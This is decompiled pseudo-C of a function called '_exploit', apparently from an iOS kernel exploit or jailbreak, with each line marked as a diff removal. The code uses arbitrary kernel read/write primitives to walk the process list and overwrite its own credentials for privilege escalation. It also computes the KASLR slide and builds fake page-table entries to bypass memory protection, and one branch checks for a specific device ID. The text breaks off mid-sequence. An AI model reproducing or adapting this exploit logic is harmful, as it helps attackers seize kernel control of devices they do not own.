- int _exploit(int arg0, int arg1, int arg2, int arg3) {
- *(r31 + 0xffffffffffffffe0) = r28;
- *(r31 + 0xffffffffffffffe8) = r27;
- *(r31 + 0xfffffffffffffff0) = r29;
- *(r31 + 0xfffffffffffffff8) = r30;
- r29 = r31 + 0xfffffffffffffff0;
- r31 = r31 + 0xffffffffffffffe0 - 0x2;
- *(r29 + 0xffffffffffffffe8) = *___stack_chk_guard;
- *(r31 + 0x1948) = arg0;
- *(r31 + 0x1944) = arg1;
- *(r31 + 0x1938) = arg2;
- *(r31 + 0x1930) = arg3;
- *(r31 + 0x192c) = r4;
- *(r31 + 0x1928) = r5;
- *(r31 + 0x1924) = r31;
- *(r31 + 0x11c0) = *___stack_chk_guard;
- while (*(r31 + 0x1924) < 0x100) {
- sync();
- *(r31 + 0x1924) = *(r31 + 0x1924) + 0x1;
- }
- _ReadAnywhere64();
- NSLog(@"read test: %llx", r1);
- if (0x10001e1b0 != 0x0) goto loc_10000f958;
- loc_10000f900:
- *(r31 + 0x18f8) = stack[2049];
- *(r31 + 0x1900) = r31 | 0xffffffffc0000000;
- *(r31 + 0x1904) = r31;
- *(r31 + 0x1908) = 0x100016bc0;
- *(r31 + 0x1910) = 0x10001c610;
- *(r31 + 0x1918) = *(r31 + 0x1948);
- r0 = dispatch_async(*__dispatch_main_q, r31 + 0x8f9);
- goto loc_100016b8c;
- loc_100016b8c:
- if (*___stack_chk_guard == *(r29 + 0xffffffffffffffe8)) {
- r31 = r29 - 0x10;
- }
- else {
- r0 = __stack_chk_fail();
- }
- return r0;
- loc_10000f958:
- *(r31 + 0x18d0) = stack[2049];
- *(r31 + 0x18d8) = r31 | 0xffffffffc0000000;
- *(r31 + 0x18dc) = r31;
- *(r31 + 0x18e0) = 0x100016c08;
- *(r31 + 0x18e8) = 0x10001c630;
- *(r31 + 0x18f0) = *(r31 + 0x1948);
- dispatch_async(*__dispatch_main_q, r31 + 0x8d1);
- *(r31 + 0x18c8) = r31;
- *(r31 + 0x18c0) = r31;
- *(r31 + 0x18b8) = _ReadAnywhere64();
- r9 = *(r31 + 0x18b8);
- NSLog(@"found procs at %llx", r1);
- while (*(r31 + 0x18b8) != 0x0) {
- *(r31 + 0x18b4) = _ReadAnywhere32();
- *(r31 + 0x11bc) = *(r31 + 0x18b4);
- r0 = getpid();
- r9 = *(r31 + 0x11bc);
- if (r9 == r0) {
- *(r31 + 0x18c8) = *(r31 + 0x18b8);
- }
- else {
- if (*(r31 + 0x18b4) == 0x1) {
- *(r31 + 0x18c0) = *(r31 + 0x18b8);
- }
- }
- if ((*(r31 + 0x18c0) != 0x0) && (*(r31 + 0x18c8) != 0x0)) {
- break;
- }
- *(r31 + 0x18b8) = _ReadAnywhere64();
- }
- *(r31 + 0x18a8) = _ReadAnywhere64();
- *(r31 + 0x18a0) = r31;
- *(r31 + 0x1898) = *(r31 + 0x18c8);
- goto loc_10000fa74;
- loc_10000fa74:
- if (*(r31 + 0x1898) == 0x0) goto loc_10000fb04;
- loc_10000fa7c:
- *(r31 + 0x1894) = _ReadAnywhere32();
- r0 = _ReadAnywhere32();
- asm { movn w9, #0xb00 };
- r10 = zero_extend_64(0x400);
- asm { movk w10, #0xc };
- *(r31 + 0x1890) = r0;
- *(r31 + 0x1890) = *(r31 + 0x1890) | r10;
- *(r31 + 0x1890) = *(r31 + 0x1890) & r9;
- r0 = *(r31 + 0x1898) + 0x2a8;
- r0 = _WriteAnywhere32(r0, *(r31 + 0x1890));
- r9 = *(r31 + 0x1894);
- *(r31 + 0x11b0) = r0;
- if (r9 != 0x1) goto loc_10000faf4;
- loc_10000fae0:
- *(r31 + 0x18a0) = _ReadAnywhere64();
- goto loc_10000fb04;
- loc_10000fb04:
- *(r31 + 0x1888) = *(r31 + 0x18a8);
- r1 = *(r31 + 0x18a0);
- *(r31 + 0x11a8) = _WriteAnywhere64();
- getuid();
- NSLog(@"got uid = %x", r1);
- r0 = _ReadAnywhere64();
- *(r31 + 0x1880) = _ReadAnywhere64();
- *(r31 + 0x1878) = _ReadAnywhere64();
- r8 = (r31 | 0x18) * (0x10001e1c0 >> 0x8);
- asm { ubfx x8, x8, #0x0, #0x20 };
- *(r31 + 0x1878) = *(r31 + 0x1878) + r8;
- *(r31 + 0x1870) = _ReadAnywhere64();
- *(r31 + 0x186c) = r31;
- *(r31 + 0x1860) = r31;
- r0 = _ReadAnywhere32();
- r9 = zero_extend_64(0x8000);
- asm { movk w9, #0x1d };
- *(r31 + 0x186c) = r0;
- *(r31 + 0x186c) = *(r31 + 0x186c) & 0xffffffff80000fff;
- if (*(r31 + 0x186c) == r9) {
- asm { cset w9 };
- }
- r8 = (r9 ^ 0x1) & 0x1;
- asm { sxtw x8, w8 };
- if (r8 == 0x0) goto loc_10000fc08;
- loc_10000fbe4:
- r0 = __assert_rtn();
- return r0;
- loc_10000fc08:
- *(r31 + 0x1860) = _ReadAnywhere64();
- r0 = _constload();
- if (r0 == 0x0) {
- asm { cset w0 };
- }
- r8 = (r0 ^ 0x1) & 0x1;
- asm { sxtw x8, w8 };
- if (r8 == 0x0) goto loc_10000fc5c;
- loc_10000fc38:
- r0 = __assert_rtn();
- return r0;
- loc_10000fc5c:
- _ReadAnywhere64();
- r0 = _affine_const_by_surfacevt();
- r0 = sign_extend_64(r0);
- if (r0 == 0x0) {
- asm { cset w0 };
- }
- r30 = (r0 ^ 0x1) & 0x1;
- asm { sxtw x30, w30 };
- if (r30 == 0x0) goto loc_10000fcac;
- loc_10000fc88:
- r0 = __assert_rtn();
- return r0;
- loc_10000fcac:
- if (_constget() != 0x0) {
- asm { cset w8 };
- }
- r0 = (r8 ^ 0x1) & 0x1;
- asm { sxtw x0, w0 };
- if (r0 == 0x0) goto loc_10000fcf4;
- loc_10000fcd0:
- r0 = __assert_rtn();
- return r0;
- loc_10000fcf4:
- *(r31 + 0x11a0) = _ReadAnywhere64();
- *(r31 + 0x11a0) - _constget();
- NSLog(@"slide: %llx", r1);
- *(r31 + 0x1858) = r31;
- *(r31 + 0x119c) = vm_allocate(*_mach_task_self_, r31 + 0x859, r31 | 0x4000, r31 | 0x1);
- *(r31 + 0x1190) = *(r31 + 0x1858);
- *(r31 + 0x1188) = _ReadAnywhere64();
- _copyin();
- r1 = r31 + 0x851;
- r2 = r31 | 0x4000;
- *(r31 + 0x1850) = r31;
- *(r31 + 0x184c) = r31;
- *(r31 + 0x1180) = r31 + 0x84d;
- *(r31 + 0x117c) = r31 | 0x2;
- r9 = *(r31 + 0x1180);
- r31 = r9;
- *(r31 + 0x8) = r9;
- *(r31 + 0x10) = *(r31 + 0x117c);
- *(r31 + 0x1178) = vm_remap(0x10001e1b0, r1, r2, zero_extend_64(0x0), stack[2048], stack[2049], stack[2050], stack[2051], stack[2052], stack[2053], stack[2054]);
- *(*(r31 + 0x1858) + 0x5b8) = _constget() + 0x10001e1b8;
- *(*(r31 + 0x1858) + 0x1008) = _constget() + 0x10001e1b8;
- *(*(r31 + 0x1858) + 0x1000) = *(r31 + 0x1850);
- r0 = _WriteAnywhere64();
- r1 = *(r31 + 0x1850);
- *(r31 + 0x1170) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1848) = r31;
- *(r31 + 0x1168) = r0;
- while (*(r31 + 0x1848) < 0x10001dde8) {
- if (0x10001e0e0 + sign_extend_64(*(r31 + 0x1848)) * (r31 | 0x4) != 0x0) {
- r0 = _ReadAnywhere64();
- *(r31 + 0x1840) = _ReadAnywhere64();
- r8 = zero_extend_64(0x0);
- *(r31 + 0x1838) = _ReadAnywhere64();
- r10 = (r31 | 0x18) * (0x10001e0e0 + sign_extend_64(*(r31 + 0x1848)) * (r31 | 0x4) >> 0x8);
- asm { ubfx x10, x10, #0x0, #0x20 };
- *(r31 + 0x1838) = *(r31 + 0x1838) + r10;
- r0 = _WriteAnywhere64();
- r10 = *(r31 + 0x1838) + 0x8;
- *(r31 + 0x1160) = r0;
- r0 = _WriteAnywhere64();
- r10 = *(r31 + 0x1838) + 0x10;
- *(r31 + 0x1158) = r0;
- r1 = zero_extend_64(0x0);
- *(r31 + 0x1150) = _WriteAnywhere64();
- }
- *(r31 + 0x1848) = *(r31 + 0x1848) + 0x1;
- }
- *(r31 + 0x1834) = _lookup();
- *(r31 + 0x10) = *(r31 + 0x1928);
- *(r31 + 0x8) = *(r31 + 0x192c);
- NSLog(@"%x %x %x", r1, r2, r3);
- r0 = _ReadAnywhere64();
- *(r31 + 0x1828) = _ReadAnywhere64();
- r9 = r31 | 0x18;
- *(r31 + 0x1820) = _ReadAnywhere64();
- r8 = r9 * (*(r31 + 0x1928) >> 0x8);
- asm { ubfx x8, x8, #0x0, #0x20 };
- *(r31 + 0x1818) = r8 + *(r31 + 0x1820);
- r8 = r9 * (*(r31 + 0x192c) >> 0x8);
- asm { ubfx x8, x8, #0x0, #0x20 };
- *(r31 + 0x1810) = r8 + *(r31 + 0x1820);
- r0 = _ReadAnywhere64();
- *(r31 + 0x1808) = _ReadAnywhere64();
- *(r31 + 0x1800) = _ReadAnywhere64();
- do {
- *(r31 + 0x1148) = _ReadAnywhere64();
- if (*(r31 + 0x1148) == _ReadAnywhere64()) {
- break;
- }
- *(r31 + 0x1800) = *(r31 + 0x1800) + 0x18;
- } while (true);
- NSLog(@"found mitm at %llx", r1);
- *(r31 + 0x1140) = *(r31 + 0x1800);
- *(r31 + 0x1138) = _ReadAnywhere64();
- *(r31 + 0x1130) = _WriteAnywhere64();
- *(r31 + 0x1834) = _lookup();
- *(r31 + 0x10) = *(r31 + 0x1928);
- *(r31 + 0x8) = *(r31 + 0x192c);
- NSLog(@"%x %x %x", *(r31 + 0x1138), r2, r3);
- r0 = _WriteAnywhere64();
- r1 = *(r31 + 0x1810) + 0x8;
- *(r31 + 0x1128) = r0;
- r0 = _WriteAnywhere64();
- r1 = *(r31 + 0x1810) + 0x10;
- *(r31 + 0x1120) = r0;
- *(r31 + 0x1118) = _WriteAnywhere64();
- r0 = _WriteAnywhere64();
- r1 = *(r31 + 0x1818) + 0x8;
- *(r31 + 0x1110) = r0;
- r0 = _WriteAnywhere64();
- r1 = *(r31 + 0x1818) + 0x10;
- *(r31 + 0x1108) = r0;
- r1 = zero_extend_64(0x0);
- *(r31 + 0x1100) = _WriteAnywhere64();
- *(r31 + 0x1834) = _lookup();
- r8 = (r31 | 0x18) * (*(r31 + 0x1834) >> 0x8);
- asm { ubfx x8, x8, #0x0, #0x20 };
- *(r31 + 0x17f8) = r8 + *(r31 + 0x1820);
- *(r31 + 0x10) = *(r31 + 0x1928);
- *(r31 + 0x8) = *(r31 + 0x192c);
- NSLog(@"%x %x %x", r1, r2, r3);
- r0 = _WriteAnywhere64();
- r1 = *(r31 + 0x17f8) + 0x8;
- *(r31 + 0x10f8) = r0;
- r0 = _WriteAnywhere64();
- r1 = *(r31 + 0x17f8) + 0x10;
- *(r31 + 0x10f0) = r0;
- r1 = zero_extend_64(0x0);
- *(r31 + 0x10e8) = _WriteAnywhere64();
- *(r31 + 0x17f0) = dlopen("/usr/lib/libMobileGestalt.dylib", zero_extend_64(0x9));
- *(r31 + 0x17e8) = dlsym(*(r31 + 0x17f0), "MGCopyAnswer");
- *(r31 + 0x10e0) = *(r31 + 0x17e8);
- *(r31 + 0x17e0) = (*(r31 + 0x10e0))(@"UniqueDeviceID");
- r2 = @"5610f60b6dbe1bc6c3aa90c86fd5df13f0aa3b06";
- [*(r31 + 0x17e0) isEqualToString:r2];
- if (!CPU_FLAGS & E) {
- asm { movk x0, #0x1337 };
- asm { movk x0, #0x1337 };
- asm { movk x0, #0x1337 };
- r1 = zero_extend_64(0x4141);
- asm { movk x1, #0x4141 };
- asm { movk x1, #0x4141 };
- asm { movk x1, #0x4141 };
- *(r31 + 0x10d8) = _WriteAnywhere64();
- }
- *(r31 + 0x17d8) = _constget() + 0x10001e1b8;
- _ReadAnywhere64();
- _ReadAnywhere64();
- r0 = _constget();
- _ReadAnywhere64();
- _ReadAnywhere64();
- *(r31 + 0x17d0) = r31;
- *(r31 + 0x17c8) = r31;
- *(r31 + 0x8) = 0x10001e1d8;
- NSLog(@"phys: 0x%llx, virt: 0x%llx", r1, r2);
- _checkvad();
- *(r31 + 0x17c0) = r31;
- *(r31 + 0x17b8) = r31;
- *(r31 + 0x17b0) = _physalloc();
- *(r31 + 0x17af) = r31;
- if (_constget() == 0x0) goto loc_1000120f4;
- loc_1000103e8:
- NSLog(@"found memprot device");
- *(r31 + 0x17a0) = r31;
- if (_constget() != 0x0) {
- *(r31 + 0x17a0) = _constget() + 0x10001e1b8;
- }
- else {
- r0 = _constget();
- *(r31 + 0x17a0) = (_ReadAnywhere64() - 0x10001e1d0) + 0x10001e1d8;
- }
- *(r31 + 0x1798) = _physalloc();
- *(r31 + 0x1790) = _physalloc();
- *(r31 + 0x1788) = _physalloc();
- *(r31 + 0x1780) = _constget() & 0x3fff;
- *(r31 + 0x10d0) = _constget() & 0xffffffffffffc000;
- *(r31 + 0x1778) = *(r31 + 0x10d0) - (_constget() & 0xffffffffffffc000);
- NSLog(@"reloff %llx", r1);
- *(r31 + 0x1770) = _constget() & 0x3fff;
- *(r31 + 0x1768) = *(r31 + 0x1798) + *(r31 + 0x1770);
- *(r31 + 0x1770) = _constget() & 0x3fff;
- r0 = _WriteAnywhere64();
- r1 = *(r31 + 0x1798) + *(r31 + 0x1770);
- *(r31 + 0x10c8) = r0;
- *(r31 + 0x10c0) = r1;
- _constget() + 0x10001e1b8;
- *(r31 + 0x10b8) = _WriteAnywhere64();
- NSLog(@"here");
- r0 = sleep(r31 | 0x1);
- *(r31 + 0x1764) = r31;
- *(r31 + 0x10b4) = r0;
- while (*(r31 + 0x1764) < 0x20) {
- r8 = zero_extend_64(0x120);
- r9 = *(r31 + 0x1790);
- r11 = *(r31 + 0x1764) << 0x3;
- asm { sxtw x11, w11 };
- r9 = *(r31 + 0x1788);
- r11 = *(r31 + 0x1764) * r8;
- asm { sxtw x11, w11 };
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x13);
- r9 = *(r31 + 0x1788);
- r11 = *(r31 + 0x1764) * zero_extend_64(0x120);
- asm { sxtw x11, w11 };
- *(r31 + 0x10a8) = r0;
- *(r31 + 0x10a0) = 0xc8 + r9 + r11;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x14);
- r9 = *(r31 + 0x1788);
- r11 = *(r31 + 0x1764) * zero_extend_64(0x120);
- asm { sxtw x11, w11 };
- *(r31 + 0x1098) = r0;
- *(r31 + 0x1090) = 0x110 + r9 + r11;
- _constget() + 0x10001e1c0;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x12);
- r9 = *(r31 + 0x1788);
- r11 = *(r31 + 0x1764) * zero_extend_64(0x120);
- asm { sxtw x11, w11 };
- *(r31 + 0x1088) = r0;
- *(r31 + 0x1080) = 0xa0 + r9 + r11;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- r9 = *(r31 + 0x1788);
- r11 = *(r31 + 0x1764) * zero_extend_64(0x120);
- asm { sxtw x11, w11 };
- r9 = 0x30 + r9 + r11;
- r11 = *(r31 + 0x1790);
- r1 = *(r31 + 0x1764) + 0x1 << 0x3;
- asm { sxtw x1, w1 };
- *(r31 + 0x1078) = r0;
- *(r31 + 0x1070) = _WriteAnywhere64();
- *(r31 + 0x1764) = *(r31 + 0x1764) + 0x1;
- }
- *(r31 + 0x1758) = _physalloc();
- *(r31 + 0x1758) = *(r31 + 0x1758) + 0x44;
- r0 = *(r31 + 0x1788) + zero_extend_64(0x22e0);
- *(r31 + 0x1068) = _WriteAnywhere64();
- *(r31 + 0x1060) = _WriteAnywhere64();
- *(r31 + 0x1750) = _physalloc();
- *(r31 + 0x1748) = _physalloc();
- *(r31 + 0x1058) = *(r31 + 0x1758) + 0xc8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- r1 = *(r31 + 0x1758) + 0x28;
- *(r31 + 0x1050) = r0;
- *(r31 + 0x1048) = r1;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- r1 = *(r31 + 0x1758) + 0x20;
- r30 = *(r31 + 0x1758) + 0x100;
- *(r31 + 0x1040) = r0;
- r0 = _WriteAnywhere64();
- r1 = *(r31 + 0x1758) + 0x100;
- r30 = *(r31 + 0x1758) + 0x100;
- *(r31 + 0x1038) = r0;
- r0 = _WriteAnywhere64();
- r1 = *(r31 + 0x1758) + 0x30;
- r30 = *(r31 + 0x1750) + 0x8;
- *(r31 + 0x1030) = r0;
- r0 = _WriteAnywhere64();
- r30 = *(r31 + 0x1758) + 0x10;
- *(r31 + 0x1028) = r0;
- r0 = _WriteAnywhere64();
- asm { movk x1, #0x4141 };
- r30 = *(r31 + 0x1758) + 0x18;
- *(r31 + 0x1020) = r0;
- r0 = _WriteAnywhere64();
- r1 = *(r31 + 0x1758) + 0x100;
- *(r31 + 0x1018) = r0;
- *(r31 + 0x1010) = r1 + 0x78;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- r1 = *(r31 + 0x1758) + 0x110;
- *(r31 + 0x1008) = r0;
- *(r31 + 0x1000) = r1;
- _constget() + 0x10001e1bc;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1744) = r31;
- *(r31 + 0xff8) = r0;
- while (*(r31 + 0x1744) < 0x800) {
- r8 = *(r31 + 0x1750);
- r10 = *(r31 + 0x1744) << 0x3;
- asm { sxtw x10, w10 };
- *(r31 + 0xff0) = r8 + r10;
- _constget() + 0x10001e1b8;
- *(r31 + 0xfe8) = _WriteAnywhere64();
- *(r31 + 0x1744) = *(r31 + 0x1744) + 0x1;
- }
- asm { movk x1, #0x4141 };
- asm { movk x1, #0x4141 };
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = r31;
- *(r31 + 0xfe0) = r0;
- r0 = _WriteAnywhere64();
- r8 = *(r31 + 0x1748) + 0x8;
- *(r31 + 0xfd8) = r0;
- *(r31 + 0xfd0) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- r8 = *(r31 + 0x1748) + 0x100;
- *(r31 + 0xfc8) = r0;
- *(r31 + 0xfc0) = r8 + 0xa0;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- r8 = *(r31 + 0x1748) + 0x100;
- *(r31 + 0xfb8) = r0;
- r0 = _WriteAnywhere64();
- r1 = *(r31 + 0x1748) + 0x100;
- *(r31 + 0xfb0) = r0;
- r0 = _WriteAnywhere64();
- r8 = *(r31 + 0x1748) + 0x100;
- *(r31 + 0xfa8) = r0;
- *(r31 + 0xfa0) = r8 + 0x10;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- r1 = *(r31 + 0x1748) + 0x100;
- *(r31 + 0xf98) = r0;
- r0 = _WriteAnywhere64();
- r8 = *(r31 + 0x1748) + 0x100;
- *(r31 + 0xf90) = r0;
- *(r31 + 0xf88) = r8 + 0x28;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- r8 = *(r31 + 0x17a0) + 0x20;
- *(r31 + 0xf80) = r0;
- *(r31 + 0x1730) = (_ReadAnywhere64() - 0x10001e1d0) + 0x10001e1d8;
- *(r31 + 0x1728) = _ReadAnywhere64();
- *(r31 + 0x1720) = ((*(r31 + 0x1728) & 0xfffffffffffff000) - 0x10001e1d0) + 0x10001e1d8;
- *(r31 + 0x1718) = r31;
- for (*(r31 + 0x1714) = r31; *(r31 + 0x1714) < 0x800; *(r31 + 0x1714) = *(r31 + 0x1714) + 0x1) {
- r8 = *(r31 + 0x1720);
- r10 = *(r31 + 0x1714) << 0x3;
- asm { sxtw x10, w10 };
- *(r31 + 0x1718) = _ReadAnywhere64();
- if (*(r31 + 0x1718) != 0x0) {
- break;
- }
- }
- *(r31 + 0x1708) = 0x10001e1e8;
- *(r31 + 0x1700) = ((*(r31 + 0x1718) & 0xfffffffffffff000) - 0x10001e1d0) + 0x10001e1d8;
- *(r31 + 0x16f8) = r31;
- *(r31 + 0x16f0) = r31;
- for (*(r31 + 0x16ec) = r31; *(r31 + 0x16ec) < 0x800; *(r31 + 0x16ec) = *(r31 + 0x16ec) + 0x1) {
- r8 = *(r31 + 0x1700);
- r10 = *(r31 + 0x16ec) << 0x3;
- asm { sxtw x10, w10 };
- *(r31 + 0x16f8) = _ReadAnywhere64();
- r8 = *(r31 + 0x16ec) << 0x3;
- asm { sxtw x8, w8 };
- *(r31 + 0x16f0) = r8;
- if (*(r31 + 0x16f8) != 0x0) {
- break;
- }
- }
- *(r31 + 0x16e0) = *(r31 + 0x16f8);
- *(r31 + 0xf78) = *(r31 + 0x16e0) & 0xfff;
- *(r31 + 0x16e0) = *(r31 + 0xf78) | ((_constget() & 0xffffffffffffc000) + 0x10001e1b8 - 0x10001e1d8) + 0x10001e1d0 & 0xfffffffffffff000;
- r0 = _WriteAnywhere64();
- r8 = *(r31 + 0x16e0) & 0xfff;
- *(r31 + 0xf70) = r0;
- *(r31 + 0xf68) = r8;
- *(r31 + 0x16e0) = *(r31 + 0xf68) | ((_constget() & 0xffffffffffffc000) + 0x10001e1b8 - 0x10001e1d8) + 0x10001e1d4 & 0xfffffffffffff000;
- r0 = _WriteAnywhere64();
- r8 = *(r31 + 0x16e0) & 0xfff;
- *(r31 + 0xf60) = r0;
- *(r31 + 0xf58) = r8;
- *(r31 + 0x16e0) = *(r31 + 0xf58) | (_constget() + 0x10001e1b8 - 0x10001e1d8) + 0x10001e1d0 & 0xfffffffffffff000;
- r0 = _WriteAnywhere64();
- r8 = *(r31 + 0x16e0) & 0xfff;
- *(r31 + 0xf50) = r0;
- *(r31 + 0xf48) = r8;
- *(r31 + 0x16e0) = *(r31 + 0xf48) | _findphys_real() & 0xfffffffffffff000;
- r0 = _WriteAnywhere64();
- r8 = *(r31 + 0x16e0) & 0xfff;
- *(r31 + 0xf40) = r0;
- *(r31 + 0xf38) = r8;
- *(r31 + 0x16e0) = *(r31 + 0xf38) | _findphys_real() + 0x4 & 0xfffffffffffff000;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r9 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xf30) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xf28) = r0;
- *(r31 + 0xf20) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r9 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xf18) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xf10) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r9 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xf08) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xf00) = r0;
- *(r31 + 0xef8) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r9 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xef0) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xee8) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r9 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xee0) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xed8) = r0;
- *(r31 + 0xed0) = r8;
- _constget() + 0x10001e1c0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r9 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xec8) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xec0) = r0;
- *(r31 + 0xeb8) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r9 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xeb0) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xea8) = r0;
- *(r31 + 0xea0) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xe98) = r0;
- *(r31 + 0xe90) = r8;
- _constget() + 0x10001e228;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xe88) = r0;
- *(r31 + 0xe80) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r9 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xe78) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xe70) = r0;
- *(r31 + 0xe68) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r9 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xe60) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xe58) = r0;
- *(r31 + 0xe50) = r8;
- _constget() + 0x10001e1b8;
- *(r31 + 0xe48) = _WriteAnywhere64();
- *(r31 + 0x16d8) = _physalloc();
- for (*(r31 + 0x16d4) = r31; *(r31 + 0x16d4) < 0x800; *(r31 + 0x16d4) = *(r31 + 0x16d4) + 0x1) {
- r8 = 0x10001e1c8;
- r9 = *(r31 + 0x16d8);
- r11 = *(r31 + 0x16d4) << 0x3;
- asm { sxtw x11, w11 };
- r0 = r9 + r11;
- r8 = r8;
- r9 = *(r31 + 0x16d4) << 0x3;
- asm { sxtw x9, w9 };
- *(r31 + 0xe40) = r0;
- *(r31 + 0xe38) = _ReadAnywhere64();
- *(r31 + 0xe30) = _WriteAnywhere64();
- }
- *(r31 + 0x16c8) = _ReadAnywhere64();
- *(r31 + 0x16c0) = ((*(r31 + 0x16c8) & 0xfffffffffffff000) - 0x10001e1d0) + 0x10001e1d8;
- for (*(r31 + 0x16bc) = r31; *(r31 + 0x16bc) < 0x800; *(r31 + 0x16bc) = *(r31 + 0x16bc) + 0x1) {
- r8 = *(r31 + 0x17b0);
- r10 = *(r31 + 0x16bc) << 0x3;
- asm { sxtw x10, w10 };
- r0 = r8 + r10;
- r8 = *(r31 + 0x16c0);
- r10 = *(r31 + 0x16bc) << 0x3;
- asm { sxtw x10, w10 };
- *(r31 + 0xe28) = r0;
- *(r31 + 0xe20) = _ReadAnywhere64();
- *(r31 + 0xe18) = _WriteAnywhere64();
- }
- r8 = *(r31 + 0x16c8) & 0xfff;
- *(r31 + 0xe10) = r8;
- *(r31 + 0x16c8) = *(r31 + 0xe10) | _findphys_real() & 0xfffffffffffff000;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xe08) = r0;
- *(r31 + 0xe00) = r8;
- _findphys_real() + 0x70;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xdf8) = r0;
- *(r31 + 0xdf0) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xde8) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r8 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xde0) = r0;
- *(r31 + 0xdd8) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1738) = *(r31 + 0x1738) + 0x1;
- r9 = *(r31 + 0x1750) + *(r31 + 0x1738) * 0x8;
- *(r31 + 0xdd0) = r0;
- r0 = _WriteAnywhere64();
